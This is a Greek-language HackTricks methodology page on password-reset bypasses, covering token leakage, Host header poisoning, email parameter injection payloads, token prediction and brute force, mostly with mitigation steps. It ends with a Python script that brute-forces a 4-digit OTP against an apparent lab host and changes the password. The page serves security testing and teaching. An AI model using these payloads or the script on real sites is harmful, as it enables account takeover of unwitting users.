Επαναφορά/Ξεχασμένος Κωδικός Πρόσβασης Bypass
Reading time: 9 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Διαρροή Token Επαναφοράς Κωδικού μέσω Referrer
- Ο HTTP referer header μπορεί να διαρρεύσει το token επαναφοράς κωδικού αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
- Επίπτωση: Πιθανή κατάληψη λογαριασμού μέσω επιθέσεων Cross-Site Request Forgery (CSRF).
- Εκμετάλλευση: Για να ελέγξετε αν ένα token επαναφοράς κωδικού διαρρέει στον referer header, ζητήστε μια επαναφορά κωδικού στη διεύθυνση email σας και κάντε κλικ στον σύνδεσμο επαναφοράς που παρέχεται. Μην αλλάξετε τον κωδικό σας αμέσως. Αντίθετα, μεταβείτε σε έναν ιστότοπο τρίτου μέρους (όπως το Facebook ή το Twitter) ενώ παρεμβάλλετε τα αιτήματα χρησιμοποιώντας το Burp Suite. Εξετάστε τα αιτήματα για να δείτε αν ο referer header περιέχει το token επαναφοράς κωδικού, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
- Αναφορές:
- HackerOne Report 342693
- HackerOne Report 272379
- Άρθρο Διαρροής Token Επαναφοράς Κωδικού
Δηλητηρίαση Επαναφοράς Κωδικού
- Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλο ιστότοπο.
- Επίπτωση: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τα tokens επαναφοράς στους επιτιθέμενους.
- Βήματα Μείωσης:
- Επικυρώστε τον Host header έναντι μιας λίστας επιτρεπόμενων τομέων.
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργήσετε απόλυτες διευθύνσεις URL.
- Διόρθωση: Χρησιμοποιήστε
$_SERVER['SERVER_NAME']
για να κατασκευάσετε διευθύνσεις URL επαναφοράς κωδικού αντί για$_SERVER['HTTP_HOST']
. - Αναφορές:
- Άρθρο Acunetix για Δηλητηρίαση Επαναφοράς Κωδικού
Επαναφορά Κωδικού με Χειρισμό Παραμέτρου Email
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να εκτρέψουν τον σύνδεσμο επαναφοράς.
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο στο json array
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Βήματα Ελάφρυνσης:
- Κατάλληλη ανάλυση και επικύρωση παραμέτρων email από την πλευρά του διακομιστή.
- Χρήση προετοιμασμένων δηλώσεων ή παραμετροποιημένων ερωτημάτων για την αποφυγή επιθέσεων injection.
- Αναφορές:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Αλλαγή Email και Κωδικού πρόσβασης οποιουδήποτε Χρήστη μέσω Παραμέτρων API
- Οι επιτιθέμενοι μπορούν να τροποποιήσουν τις παραμέτρους email και κωδικού πρόσβασης σε αιτήματα API για να αλλάξουν τα διαπιστευτήρια του λογαριασμού.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Βήματα Μείωσης:
- Διασφαλίστε αυστηρή επικύρωση παραμέτρων και ελέγχους ταυτοποίησης.
- Εφαρμόστε ισχυρή καταγραφή και παρακολούθηση για να ανιχνεύσετε και να αντιδράσετε σε ύποπτες δραστηριότητες.
- Αναφορά:
- Full Account Takeover via API Parameter Manipulation
Χωρίς Περιορισμό Ρυθμού: Email Bombing
- Η έλλειψη περιορισμού ρυθμού σε αιτήματα επαναφοράς κωδικού πρόσβασης μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με email επαναφοράς.
- Βήματα Μείωσης:
- Εφαρμόστε περιορισμό ρυθμού με βάση τη διεύθυνση IP ή τον λογαριασμό χρήστη.
- Χρησιμοποιήστε προκλήσεις CAPTCHA για να αποτρέψετε την αυτοματοποιημένη κακοποίηση.
- Αναφορές:
- HackerOne Report 280534
Ανακαλύψτε Πώς Δημιουργείται το Token Επαναφοράς Κωδικού
- Η κατανόηση του προτύπου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή την βίαιη δοκιμή tokens. Ορισμένες επιλογές:
- Βασισμένο σε Χρονική Σημείωση
- Βασισμένο στο UserID
- Βασισμένο στο email του Χρήστη
- Βασισμένο στο Όνομα και Επώνυμο
- Βασισμένο στην Ημερομηνία Γέννησης
- Βασισμένο στην Κρυπτογραφία
- Βήματα Μείωσης:
- Χρησιμοποιήστε ισχυρές, κρυπτογραφικές μεθόδους για τη δημιουργία token.
- Διασφαλίστε επαρκή τυχαιότητα και μήκος για να αποτρέψετε την προβλεψιμότητα.
- Εργαλεία: Χρησιμοποιήστε το Burp Sequencer για να αναλύσετε την τυχαιότητα των tokens.
Μαντεύσιμο UUID
- Εάν τα UUIDs (έκδοση 1) είναι μαντεύσιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα δοκιμάσουν βίαια για να δημιουργήσουν έγκυρα tokens επαναφοράς. Ελέγξτε:
- Βήματα Μείωσης:
- Χρησιμοποιήστε GUID έκδοσης 4 για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες εκδόσεις.
- Εργαλεία: Χρησιμοποιήστε guidtool για την ανάλυση και τη δημιουργία GUIDs.
Manipulation Response: Αντικατάσταση Κακής Απόκρισης με Καλή
- Χειραγώγηση των HTTP απαντήσεων για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί.
- Βήματα Μείωσης:
- Εφαρμόστε ελέγχους από την πλευρά του διακομιστή για να διασφαλίσετε την ακεραιότητα της απόκρισης.
- Χρησιμοποιήστε ασφαλείς επικοινωνιακούς διαύλους όπως το HTTPS για να αποτρέψετε επιθέσεις man-in-the-middle.
- Αναφορά:
- Critical Bug in Live Bug Bounty Event
Χρήση Εξαφανισμένου Token
- Δοκιμή αν τα ληγμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού.
- Βήματα Μείωσης:
- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token από την πλευρά του διακομιστή.
Brute Force Token Επαναφοράς Κωδικού
- Προσπάθεια βίαιης δοκιμής του token επαναφοράς χρησιμοποιώντας εργαλεία όπως το Burpsuite και το IP-Rotator για να παρακαμφθούν οι περιορισμοί ρυθμού με βάση την IP.
- Βήματα Μείωσης:
- Εφαρμόστε ισχυρούς μηχανισμούς περιορισμού ρυθμού και κλειδώματος λογαριασμού.
- Παρακολουθήστε ύποπτες δραστηριότητες που υποδεικνύουν επιθέσεις βίαιης δοκιμής.
Δοκιμάστε να Χρησιμοποιήσετε το Token σας
- Δοκιμή αν το token επαναφοράς του επιτιθέμενου μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος.
- Βήματα Μείωσης:
- Διασφαλίστε ότι τα tokens είναι δεσμευμένα στη συνεδρία χρήστη ή σε άλλες συγκεκριμένες ιδιότητες χρήστη.
Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού
- Διασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ο χρήστης αποσυνδέεται ή επαναφέρει τον κωδικό του.
- Βήματα Μείωσης:
- Εφαρμόστε σωστή διαχείριση συνεδρίας, διασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά την αποσύνδεση ή την επαναφορά κωδικού.
Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού
- Τα tokens επαναφοράς θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
- Βήματα Μείωσης:
- Ορίστε έναν λογικό χρόνο λήξης για τα tokens επαναφοράς και επιβάλετέ τον αυστηρά από την πλευρά του διακομιστή.
Παράκαμψη περιορισμού ρυθμού OTP αλλάζοντας τη συνεδρία σας
- Εάν η ιστοσελίδα χρησιμοποιεί τη συνεδρία χρήστη για να παρακολουθεί τις λανθασμένες προσπάθειες OTP και το OTP ήταν αδύναμο (<= 4 ψηφία), τότε μπορούμε να δοκιμάσουμε βίαια το OTP.
- εκμετάλλευση:
- απλώς ζητήστε ένα νέο token συνεδρίας μετά την αποκλεισμό από τον διακομιστή.
- Παράδειγμα κώδικα που εκμεταλλεύεται αυτό το σφάλμα μαντεύοντας τυχαία το OTP (όταν αλλάξετε τη συνεδρία, το OTP θα αλλάξει επίσης, και έτσι δεν θα μπορέσουμε να το δοκιμάσουμε διαδοχικά!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.